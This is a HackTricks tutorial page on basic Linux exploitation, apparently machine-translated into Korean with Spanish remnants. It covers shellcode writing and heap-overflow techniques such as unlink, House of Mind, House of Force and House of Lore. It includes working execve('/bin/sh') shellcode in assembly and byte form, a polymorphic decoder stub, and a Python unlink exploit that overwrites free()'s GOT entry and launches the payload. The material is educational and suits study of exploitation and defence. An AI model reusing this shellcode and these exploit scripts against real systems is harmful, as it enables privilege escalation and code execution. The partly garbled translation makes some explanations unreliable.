hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/README.md
2024-04-06 18:36:54 +00:00

33 KiB
Raw Permalink Blame History

Linux Exploiting (Basic) (SPA)

htARTE (HackTricks AWS Red Team 전문가)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

2.SHELLCODE

Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Ejecutar syscall

nasm -f elf assembly.asm —> Nos devuelve un .o
ld assembly.o -o shellcodeout —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con objdump
objdump -d -Mintel ./shellcodeout —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes

Comprobar que la shellcode funciona

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

시스템 호출이 올바르게 이루어졌는지 확인하려면 이전 프로그램을 컴파일하고 시스템 호출이 strace ./COMPILADO_프로그램에 나타나야 합니다.

쉘코드를 작성할 때 한 가지 트릭을 사용할 수 있습니다. 첫 번째 명령은 call로 이어지는 점프입니다. 이 call은 원래 코드를 호출하고 스택에 EIP를 넣습니다. call 명령 다음에 필요한 문자열을 넣었으므로 해당 EIP로 문자열을 가리킬 수 있고 코드 실행을 계속할 수 있습니다.

예시 트릭 (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

/bin/sh를 사용한 EJ:

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:
EJ FNSTENV는 목표로 하는 메모리 주소에 현재 FPU 상태를 저장하는 데 사용됩니다.

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Hunter:

프로세스와 관련된 메모리 페이지를 탐색하여 거기에 저장된 셸코드를 찾는 작은 코드입니다 (셸코드에 넣은 서명을 찾습니다). 코드를 삽입할 작은 공간만 있는 경우 유용합니다.

다형 셸코드

암호화된 셸을 나타내는 작은 코드가 포함되어 있으며 해당 코드를 해독하고 해당 코드로 이동하는 셸입니다. Call-Pop 트릭을 사용하는 Caesar 암호화된 예제가 있습니다:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. 보충 기법

Murat 기법

리눅스에서 모든 프로그램은 0xbfffffff부터 매핑됩니다.

새로운 프로세스의 스택이 어떻게 구성되는지 살펴보면, 프로그램이 쉘코드만 있는 환경에서 실행되도록 exploit을 개발할 수 있습니다. 따라서 이 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)

이렇게 하면 쉘코드가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.

이것은 execle 함수가 원하는 환경 변수만 가지고 있는 환경을 만들 수 있기 때문에 가능합니다.

버퍼 오버플로우를 위한 형식 문자열

sprintf는 형식화된 문자열을 변수로 이동시킵니다. 따라서 문자열의 형식을 남용하여 복사된 내용이 포함된 변수에서 버퍼 오버플로우를 발생시킬 수 있습니다.
예를 들어, 페이로드 %.44xAAAA는 변수에 44B+"AAAA"를 쓸 수 있으며 이는 버퍼 오버플로우를 일으킬 수 있습니다.

__atexit 구조체

{% hint style="danger" %} 현재는 이를 exploit하는 것이 매우 드문 일입니다. {% endhint %}

**atexit()**는 다른 함수들이 매개변수로 전달되는 함수입니다. 이러한 함수들은 exit()를 실행하거나 main이 반환될 때 실행됩니다.
예를 들어, 이러한 함수들 중 하나의 주소를 쉘코드를 가리키도록 수정할 수 있다면 프로세스를 제어할 수 있지만, 현재 이 작업은 더 복잡해졌습니다.
현재 실행할 함수들의 주소는 여러 구조체 뒤에 숨겨져 있으며, 마지막으로 가리키는 주소는 함수들의 주소가 아니라 XOR로 암호화되고 무작위 키로 이동된 주소입니다. 따라서 현재 이 공격 벡터는 적어도 x86 및 x64_86에서는 매우 유용하지 않습니다.
암호화 함수는 **PTR_MANGLE**입니다. m68k, mips32, mips64, aarch64, arm, hppa와 같은 다른 아키텍처는 암호화 함수를 구현하지 않습니다. 따라서 이러한 아키텍처는 이러한 벡터에 의해 공격당할 수 있습니다.

setjmp() & longjmp()

{% hint style="danger" %} 현재는 이를 exploit하는 것이 매우 드문 일입니다. {% endhint %}

**Setjmp()**는 컨텍스트(레지스터)를 저장할 수 있습니다.
**longjmp()**는 컨텍스트를 복원할 수 있습니다.
저장된 레지스터는: EBX, ESI, EDI, ESP, EIP, EBP입니다.
그러나 EIP와 ESP는 PTR_MANGLE 함수를 통해 전달되므로 이 공격에 취약한 아키텍처는 위와 동일합니다.
이러한 함수들은 오류 복구나 인터럽트에 유용합니다.
그러나 제가 읽은 바에 의하면, 다른 레지스터는 보호되지 않습니다. 따라서 호출되는 함수 내부에 call ebx, call esi 또는 call edi가 있다면 제어를 얻을 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.

C++의 VTable 및 VPTR

각 클래스에는 메서드를 가리키는 포인터 배열인 Vtable이 있습니다.

각 클래스의 객체에는 해당 클래스의 배열을 가리키는 VPtr이 있습니다. VPtr은 각 객체의 헤더의 일부이므로 VPtr을 덮어쓰면 더미 메서드를 가리키도록 수정하여 함수를 실행하면 쉘코드로 이동할 수 있습니다.

예방 및 회피 조치

Libsafe 대체

다음과 같이 활성화됩니다: LD_PRELOAD=/lib/libsafe.so.2
또는
“/lib/libsave.so.2” > /etc/ld.so.preload

일부 안전하지 않은 함수 호출을 안전한 함수 호출로 대체합니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 것은 아님, 정적 컴파일은 아님, 모든 취약한 함수가 안전한 함수로 변환되지는 않음, LD_PRELOAD는 suid 바이너리에서 작동하지 않음).

ASCII Armored Address Space

공유 라이브러리를 0x00000000에서 0x00ffffff로 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 거의 모든 공격을 막지 못하며 리틀 엔디안에서는 특히 그렇습니다.

ret2plt

strcpy@plt 함수를 호출하고 GOT의 항목을 가리키도록 하여 함수의 첫 번째 바이트를 system()으로 복사하는 ROP를 수행하는 것입니다. 그런 다음 GOT+1을 가리키도록 하여 system()의 두 번째 바이트를 복사합니다. 마지막으로 GOT에 저장된 주소인 system()을 호출합니다.

chroot()를 사용한 감옥

debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리에 기본 시스템을 설치합니다.

관리자는 이러한 감옥에서 나갈 수 있습니다: mkdir foo; chroot foo; cd ..

코드 인스트루먼테이션

Valgrind —> 오류 찾기
Memcheck
RAD (Return Address Defender)
Insure++

8 힙 오버플로우: 기본 exploit

할당된 청크

prev_size |
size | —헤더
*mem | 데이터

빈 청크

prev_size |
size |
*fd | 다음 청크를 가리키는 포인터
*bk | 이전 청크를 가리키는 포인터 —헤더
*mem | 데이터

빈 청크는 이중 연결 목록(bin)에 있으며 두 개의 빈 청크가 연속해서 있을 수 없습니다.

"size"에는 다음을 나타내는 비트가 있습니다: 이전 청크가 사용 중인지, 청크가 mmap()을 통해 할당되었는지, 청크가 기본 arena에 속하는지.

청크를 해제할 때 인접한 청크 중 하나가 빈 상태인 경우, unlink() 매크로를 통해 이들이 병합되고 새로운 가장 큰 청크가 frontlink()에 전달되어 적절한 bin에 삽입됩니다.

unlink(){
BK = P->bk; —> 새로운 청크의 BK는 이전에 빈 상태였던 청크의 BK입니다.
FD = P->fd; —> 새로운 청크의 FD는 이전에 빈 상태였던 청크의 FD입니다.
FD->bk = BK; —> 다음 청크의 BK가 새로운 청크를 가리킵니다.
BK->fd = FD; —> 이전 청크의 FD가 새로운 청크를 가리킵니다.
}

따라서 P->bk를 쉘코드의 주소로, P->fd를 GOT 또는 DTORS 항목의 주소에서 12를 뺀 주소로 수정하면 다음을 달성할 수 있습니다:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

이렇게 하면 프로그램을 종료할 때 쉘코드가 실행됩니다.

또한, unlink()의 4번째 문은 무언가를 쓰며, 쉘코드는 이를 위해 수정되어야 합니다:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 이로 인해 쉘코드의 8번째 바이트부터 4바이트가 쓰여지므로 쉘코드의 첫 번째 명령은 이를 건너뛰고 나머지 쉘코드로 이동하는 노프로 이어져야 합니다.

따라서 exploit은 다음과 같이 생성됩니다:

버퍼1에는 노프 또는 쉘코드의 나머지로 이어지는 jmp로 시작하는 쉘코드를 넣습니다.

쉘 코드 뒤에는 prev_size 및 다음 청크의 size에 도달할 때까지 채우기를 추가합니다. 이러한 위치에는 0xfffffff0(이전 청크가 빈 상태임을 나타내는 비트가 설정됨) 및 "-4"(0xfffffffc)를 넣습니다(size를 수정하여 2번째 청크가 실제로 빈 상태임을 알게 하기 위함) -> 따라서 free()가 조사할 때 3번째 청크의 size로 이동하지만 실제로는 2번째 청크 - 4로 이동하여 2번째 청크가 빈 상태인 것으로 생각합니다. 그런 다음 **unlink()**를 호출합니다. unlink()를 호출하면 P->fd로 2번째 조각의 처음 데이터를 사용하므로 덮어쓰려는 주소가 거기에 들어갑니다. - 12(왜냐하면 FD->bk에는 FD에 저장된 주소에 12를 더할 것이기 때문입니다). 그리고 그 주소에 2번째 조각에서 찾은 두 번째 주소를 넣어야 하는데, 이는 쉘코드 주소(P->bk 가짜)여야 합니다.

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #이전 조각이 비어 있는지를 나타내는 비트가 1이어야 함

fake_size = pack("<I”, 0xfffffffc) #-4, 3번째 조각의 "size"가 4바이트 뒤에 있다고 생각하게끔 함(2번째 조각이 비어 있는지 확인하는 위치인 prev_size를 가리킴)

addr_sc = pack("<I", 0x0804a008 + 8) #페이로드의 처음에 8바이트 패딩을 넣음

got_free = pack("<I", 0x08048300 - 12) #plt의 free() 주소-12(2번째 free() 호출 시 쉘코드가 실행되도록 덮어쓸 주소)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #8바이트 패딩으로 페이로드 시작

payload += prev_size + fake_size + got_free + addr_sc #2번째 조각 수정, got_free는 addr_sc 주소를 저장할 위치를 가리킴(주소에 12를 더함)

os.system("./8.3.o " + payload)

unset() 역방향으로 해제(wargame)

우리는 3개의 연속적인 청크를 제어하고 예약된 순서의 역순으로 해제됩니다.

이 경우:

청크 c에 쉘코드를 넣습니다.

청크 a를 사용하여 b를 덮어쓰는데, 이때 사이즈 비트 PREV_INUSE를 비활성화하여 청크 a가 비어 있다고 생각하게 합니다.

또한, 헤더 b에 사이즈를 -4로 덮어씁니다.

그러면 프로그램은 "a"가 비어 있고 bin에 있는 것으로 생각하여 unlink()를 호출하여 해제합니다. 그러나 헤더 PREV_SIZE가 -4이므로 "a" 조각이 실제로 b+4에서 시작한다고 생각합니다. 즉, b+4에서 unlink()를 수행하게 되며, 여기서 b+12에는 "fd" 포인터가 있고 b+16에는 "bk" 포인터가 있습니다.

이렇게 하면 bk에 쉘코드 주소를 넣고 fd에 "puts()" 함수 주소-12를 넣으면 페이로드가 완성됩니다.

Frontlink 기술

해제된 것이 있고 인접한 청크가 모두 비어 있지 않으면 unlink()가 호출되지 않고 직접 frontlink()가 호출됩니다.

공격 대상 malloc이 해제(free())되지 않는 경우 유용한 취약점입니다.

필요한 것:

데이터 입력 함수로 오버플로우가 발생할 수 있는 버퍼

해제되어야 하는 인접한 버퍼로 이전 버퍼의 오버플로우로 인해 헤더의 fd 필드가 수정됨

512보다 크고 이전 버퍼보다 작은 크기의 버퍼

3단계 이전에 선언된 버퍼로 이 버퍼의 prev_size를 덮어쓸 수 있는 버퍼

이렇게 함으로써 두 개의 malloc을 무작위로 덮어쓰고 하나는 제어된 상태로 해제되는 방식으로 exploit을 수행할 수 있습니다.

이중 free() 취약점

동일한 포인터로 두 번 free()를 호출하면 두 개의 bin이 동일한 주소를 가리킵니다.

하나를 다시 사용하려면 문제가 없이 할당됩니다. 다른 것을 사용하려면 동일한 공간이 할당되므로 이전 예약에 의해 작성된 데이터로 "fd" 및 "bk" 포인터가 왜곡됩니다.

After free()

이전에 해제된 포인터가 제어 없이 다시 사용됩니다.

8 힙 오버플로우: 고급 Exploits

unlink() 및 FrontLink() 기술은 unlink() 함수를 수정함으로써 제거되었습니다.

The house of mind

임의의 코드 실행을 유발하기 위해 free()를 한 번 호출하는 것만으로 충분합니다. 이전에 오버플로우된 다음 해제될 수 있는 두 번째 청크를 찾아야 합니다.

free() 호출은 public_fREe(mem)을 호출하게 되며, 이는 다음과 같이 작동합니다:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> 청크가 시작하는 위치를 가리키는 포인터를 반환합니다(mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

[1]에서 size 비트 NON_MAIN_ARENA를 확인하여 true를 반환하고 heap_for_ptr()를 실행할 수 있도록 변경할 수 있으며, 이는 "mem"에 AND를 적용하여 가장 중요하지 않은 2.5바이트를 0으로 만들고 0x08000000에 액세스하여 0x08000000->ar_ptr(구조체 heap_info처럼)에 액세스합니다.

따라서 예를 들어 0x0804a000에 청크를 제어하고 0x081002a0에 청크를 해제할 때 0x08100000으로 이동하여 원하는 내용(예: 0x0804a000)을 쓸 수 있습니다. 두 번째 청크가 해제될 때 heap_for_ptr(ptr)->ar_ptr이 0x08100000에 쓴 내용을 반환할 것입니다(0x081002a0에 이전에 본 AND를 적용하고 거기서 처음 4바이트 값을 가져오기 때문입니다, ar_ptr).

이렇게 하면 _int_free(ar_ptr, mem)가 호출되며, 즉, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

앞에서 본 대로 av의 값을 제어할 수 있으므로, 해제될 청크에 쓴 내용을 제어할 수 있습니다.

unsorted_chunks가 정의된 대로 알 수 있습니다:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

따라서 av->bins[2]에 __DTOR_END__-12의 값을 쓰면 마지막 명령에서 __DTOR_END__에 두 번째 청크의 주소가 쓰입니다.

즉, 첫 번째 청크의 시작 부분에 많은 횟수로 __DTOR_END__-12의 주소를 넣어야 합니다. 왜냐하면 av->bins[2]에서 이 값을 가져오기 때문입니다.

두 번째 청크의 주소가 떨어지는 위치에 첫 번째 청크의 주소를 써야 하며, heap_for_ptr()가 ar_ptr이 첫 번째 청크의 시작 부분에 있다고 생각하고 거기서 av->bins[2]를 가져오기 때문입니다. 두 번째 조각에서 첫 번째를 통해 prev_size를 jump 0x0c로 덮어쓰고 size를 NON_MAIN_ARENA를 활성화하기 위한 값으로 덮어씁니다.

다음으로 조각 2에는 많은 nops를 넣고 마지막으로 쉘코드를 넣습니다.

이렇게 하면 _int_free(TROZO1, TROZO2)가 호출되고 __DTOR_END__에 TROZO2의 prev_size 주소가 쓰여 쉘코드로 이동합니다.

이 기술을 적용하려면 페이로드를 약간 더 복잡하게 만드는 몇 가지 요구 사항을 충족해야 합니다.

이 기술은 unlink에 적용된 거의 동일한 패치가 적용되어 더 이상 적용할 수 없습니다. 새로운 대상이 가리키는 새 위치가 자신을 가리키는지 확인합니다.

Fastbin

The house of mind의 변형입니다.

_int_free() 함수의 첫 번째 확인 후에 실행되는 코드에 도달하는 것이 중요합니다.

fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

이렇게 하면 "fb"에는 GOT 내의 함수 주소가 들어가게 되며, 이 주소에 덮어쓸 대상의 주소가 들어갑니다. 이를 위해는 arena가 dtors 주소 근처에 있어야 합니다. 구체적으로 av->max_fast가 덮어쓸 주소에 있어야 합니다.

The House of Mind에서 우리가 av의 위치를 제어할 수 있다는 것을 알게 되었기 때문에, size 필드에 8 + NON_MAIN_ARENA + PREV_INUSE를 넣으면 fastbin_index()가 fastbins[-1]을 반환하게 되고 이는 av->max_fast를 가리킵니다.

여기서 av->max_fast가 덮어쓰여야 합니다(가리키는 것이 아니라 덮어쓰여야 합니다).

또한, 해제된 연속 조각이 8보다 커야 합니다. 해제된 조각의 크기가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어가므로, 처음에는 nops로 이어지는 jmp를 넣어야 합니다).

또한, 이 가짜 조각은 av->system_mem보다 작아야 합니다. av->system_mem은 해당 위치에서 1848바이트 떨어져 있습니다.

_DTOR_END_의 널 값과 GOT의 적은 주소 때문에 이러한 섹션의 어떤 주소도 덮어쓰기에 적합하지 않으므로, 힙 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴봅니다.

다른 공격 방법은 av를 스택으로 리다이렉션하는 것입니다.

size를 8이 아닌 16으로 수정하면 fastbin_index()가 fastbins[0]을 반환하고 이를 사용하여 스택을 덮어쓸 수 있습니다.

이를 위해 스택에 canary나 이상한 값이 없어야 하며, 실제로 4바이트 널 + EBP + RET 위치에 있어야 합니다.

4바이트 널은 av가 이 위치를 가리킬 것이고, av의 첫 번째 요소는 0이어야 합니다.

av->max_fast는 EBP가 되며, 이는 제한을 우회하는 데 사용될 값입니다.

**av->fastbins[0]**에는 p의 주소가 덮어쓰이고 RET이 되어 쉘코드로 이동합니다.

또한, av->system_mem(스택 위치에서 1484바이트 위)에는 우리가 수행하는 확인을 우회할 수 있는 충분한 쓰레기가 있어야 합니다.

또한, 해제된 연속 조각이 8보다 커야 합니다. 해제된 조각의 크기가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어가므로, 처음에는 새로운 가짜 조각의 size 필드 뒤에 나오는 nops로 이어지는 jmp를 넣어야 합니다).

The House of Spirit

이 경우에는 공격자가 조작 가능한 malloc 포인터(예: 오버플로우 가능한 변수 아래 스택에 있는 포인터)를 가지고 싶습니다.

따라서 이 포인터를 원하는 곳으로 지시할 수 있습니다. 그러나 어디든지 가능한 것은 아닙니다. 가짜 조각의 크기는 av->max_fast보다 작아야 하며, 더 구체적으로는 미래의 malloc() 호출에 요청된 크기에 8을 더한 것과 동일해야 합니다. 따라서, 이 취약한 포인터 뒤에 malloc(40)이 호출된다는 것을 알고 있다면, 가짜 조각의 크기는 48과 같아야 합니다.

예를 들어 프로그램이 사용자에게 숫자를 물어보는 경우 48을 입력하고 malloc 포인터를 수정 가능한 다음 4바이트로 지시할 수 있습니다(운이 좋다면 EBP에 속할 수 있으므로, 48이 뒤에 남게 됩니다). 또한, ptr-4+48 주소는 여러 조건을 충족해야 합니다(이 경우 ptr=EBP), 즉 8 < ptr-4+48 < av->system_mem 여야 합니다.

이 조건이 충족되면, 우리가 말한 malloc(40)을 호출할 때 EBP 주소가 할당되며, 공격자가 이 malloc에 쓸 내용을 제어할 수 있다면 EBP와 EIP를 원하는 주소로 덮어쓸 수 있습니다.

이것은 free()가 스택의 EBP를 가리키는 주소에 새로운 malloc()에 대한 완벽한 크기의 조각이 있다는 것을 저장하기 때문이라고 생각합니다.

The House of Force

다음이 필요합니다:

  • wilderness를 덮어쓸 수 있는 조각의 오버플로우
  • 사용자가 정의한 크기로 malloc() 호출
  • 사용자가 정의한 데이터로 malloc() 호출

첫 번째로 wilderness 조각의 크기를 매우 큰 값(0xffffffff)으로 덮어씁니다. 따라서 충분히 큰 메모리 요청은 힙을 확장할 필요 없이 _int_malloc()에서 처리됩니다.

두 번째로, av->top을 공격자가 제어하는 메모리 영역(예: 스택)을 가리키도록 변경합니다. av->top에는 &EIP - 8이 들어갑니다.

공격자가 제어하는 메모리 영역을 가리키도록 av->top을 덮어씁니다:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

victim은 현재 wilderness 조각의 주소(av->top)를 수집하고, remainder는 해당 주소와 malloc()에 의해 요청된 바이트 수를 더한 값입니다. 따라서, &EIP-8이 0xbffff224에 있고 av->top에 0x080c2788이 포함되어 있다면, 다음 malloc()에 av->top이 &EIP-8을 가리키도록 제어된 malloc()에 예약해야 하는 바이트 수는 다음과 같습니다:

0xbffff224 - 0x080c2788 = 3086207644.

이렇게 하면 변경된 값을 av->top에 저장하고 다음 malloc이 EIP를 가리키고 덮어쓸 수 있습니다.

새로운 wilderness 조각의 크기가 마지막 malloc()에 의해 요청된 메모리보다 커야 합니다. wilderness가 &EIP-8을 가리키고 있으면, 크기는 정확히 스택의 EBP 필드에 위치합니다.

The House of Lore

SmallBin 손상

해제된 조각은 크기에 따라 bin에 넣습니다. 그러나 unsorted bins에 먼저 저장됩니다. 조각이 해제되면 즉시 해당 bin에 넣는 대신 unsorted bins에 남아 있습니다. 그런 다음 새로운 조각을 예약하고 이전에 해제된 조각을 사용할 수 있는 경우 반환하지만 더 큰 조각을 예약하면 unsorted bins에 있던 조각이 해당 적절한 bin에 들어갑니다.

취약한 코드에 도달하려면 메모리 요청이 av->max_fast(보통 72)보다 크고 MIN_LARGE_SIZE(512)보다 작아야 합니다. 만약 bin에 요청된 크기에 적합한 조각이 있다면 그것을 unlink한 후 반환합니다:

bck = victim->bk; 이전 조각을 가리키며, 우리가 변경할 수 있는 유일한 정보입니다.

bin->bk = bck; 뒤에서 두 번째 조각이 마지막이 되며, bck가 스택을 가리키고 있다면 다음 할당된 조각에 이 주소가 제공됩니다.

bck->fd = bin; 이를 통해 리스트가 닫히고 이것이 bin을 가리키게 됩니다.

필요한 것:

두 개의 malloc을 할당해야 합니다. 두 번째 조각이 해제되고 bin에 들어간 후에 첫 번째 조각에 오버플로우를 할 수 있어야 합니다 (즉, 오버플로우하기 전에 두 번째 조각보다 큰 malloc을 할당해야 합니다).

공격자가 제어할 수 있는 주소로 공격자가 선택한 주소를 가리키는 malloc이 필요합니다.

목표는 다음과 같습니다. 해제된 bin 리스트의 아래에 이미 해제된 조각이 있는 힙에 오버플로우를 할 수 있다면, 그 조각의 bk 포인터를 변경할 수 있습니다. bk 포인터를 변경하고 해당 조각이 bin 리스트의 첫 번째가 되고 예약되면, bin은 속아서 bin 리스트의 마지막 조각이 (다음으로 제공될) 우리가 설정한 가짜 주소에 있다고 믿게 됩니다 (예: 스택 또는 GOT). 따라서 다른 조각을 다시 예약하고 공격자가 권한을 갖고 있다면, 원하는 위치에 조각이 제공되고 거기에 쓸 수 있습니다.

수정된 조각을 해제한 후에 해제된 조각보다 큰 조각을 다시 예약해야 합니다. 그러면 수정된 조각이 unsorted bins에서 나오고 해당 bin에 들어갈 것입니다.

한 번 bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 원하는 주소를 가리키게 만들어야 합니다.

따라서 bin은 malloc()이 충분히 호출될 때까지 기다려야 하며 수정된 bin을 다시 사용하고 다음 조각이 가짜 주소에 있다고 속이고 그 다음에 우리가 원하는 조각을 얻을 것입니다.

취약점이 가능한 한 빨리 실행되도록하려면 다음이 이상적입니다: 취약한 조각 예약, 수정될 조각 예약, 해당 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정 (취약점), 취약한 조각과 같은 크기의 조각 예약, 그리고 취약한 조각과 같은 크기의 두 번째 조각을 예약하고 이것이 선택한 주소를 가리키게 합니다.

이 공격을 방어하기 위해 "거짓" 조각이 아닌 것을 확인하는 전형적인 확인이 사용되었습니다: bck->fd가 victim을 가리키는지 확인합니다. 즉, 우리의 경우 스택에 가짜로 가리키는 조각의 fd 포인터가 victim을 가리키는지 확인합니다. 이 보호를 우회하려면 공격자는 어떤 방식으로든 (아마도 스택을 통해) 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보일 것입니다.

Corrupción LargeBin

이전과 동일한 요구 사항과 추가 요구 사항이 필요하며, 예약된 조각은 512보다 큰 크기여야 합니다.

이전과 같은 공격이며, bk 포인터를 수정해야 하며 모든 그 malloc() 호출이 필요하지만 수정된 조각의 크기를 수정해야 합니다. 즉, size - nb가 < MINSIZE여야 합니다.

예를 들어, size를 1552로 설정하여 1552 - 1544 = 8 < MINSIZE가 되도록합니다 (부호 없는 값을 비교하므로 음수가 되면 안됩니다).

또한 더 복잡하게 만드는 패치가 도입되었습니다.

Heap Spraying

기본적으로 가능한 한 많은 힙 메모리를 예약하고 이를 nops로 끝나는 셸코드로 채웁니다. 또한 0x0c를 셜코드로 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 시도하며, 따라서 이 셜코드로 호출될 주소가 덮어쓰여지면 그곳으로 점프합니다. 기본적으로 전략은 가능한 한 많이 예약하여 어떤 포인터가 덮어쓰여지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nops가 있는지 확인하는 것입니다.

Heap Feng Shui

예약 및 해제를 통해 메모리를 세분화하여 빈 조각 사이에 예약된 조각이 남도록 메모리를 정리하는 것입니다. 오버플로우할 버퍼는 이 중 하나에 위치합니다.

흥미로운 코스

참고 자료

제로부터 히어로까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)와 함께!

HackTricks를 지원하는 다른 방법: